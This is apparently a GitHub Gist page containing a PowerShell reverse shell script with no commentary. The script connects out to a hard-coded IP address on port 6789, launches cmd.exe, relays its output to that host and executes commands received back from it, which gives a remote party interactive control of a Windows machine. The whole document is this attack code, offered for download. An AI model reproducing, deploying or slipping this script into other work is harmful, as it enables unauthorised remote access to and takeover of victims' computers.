Last active
May 20, 2018 20:55
-
-
Save Es7evam/c7aeb2c6f7f5d5b96691c0ea63468cbb to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function cleanup { | |
if ($client.Connected -eq $true) {$client.Close()} | |
if ($process.ExitCode -ne $null) {$process.Close()} | |
exit} | |
Setup IPADDR | |
$address = '167.99.9.30' | |
Setup PORT | |
$port = '6789' | |
$client = New-Object system.net.sockets.tcpclient | |
$client.connect($address,$port) | |
$stream = $client.GetStream() | |
$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize | |
$process = New-Object System.Diagnostics.Process | |
$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe' | |
$process.StartInfo.RedirectStandardInput = 1 | |
$process.StartInfo.RedirectStandardOutput = 1 | |
$process.StartInfo.UseShellExecute = 0 | |
$process.Start() | |
$inputstream = $process.StandardInput | |
$outputstream = $process.StandardOutput | |
Start-Sleep 1 | |
$encoding = new-object System.Text.AsciiEncoding | |
while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())} | |
$stream.Write($encoding.GetBytes($out),0,$out.Length) | |
$out = $null; $done = $false; $testing = 0; | |
while (-not $done) { | |
if ($client.Connected -ne $true) {cleanup} | |
$pos = 0; $i = 1 | |
while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) { | |
$read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos) | |
$pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}} | |
if ($pos -gt 0) { | |
$string = $encoding.GetString($networkbuffer,0,$pos) | |
$inputstream.write($string) | |
start-sleep 1 | |
if ($process.ExitCode -ne $null) {cleanup} | |
else { | |
$out = $encoding.GetString($outputstream.Read()) | |
while($outputstream.Peek() -ne -1){ | |
$out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}} | |
$stream.Write($encoding.GetBytes($out),0,$out.length) | |
$out = $null | |
$string = $null}} else {cleanup}} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment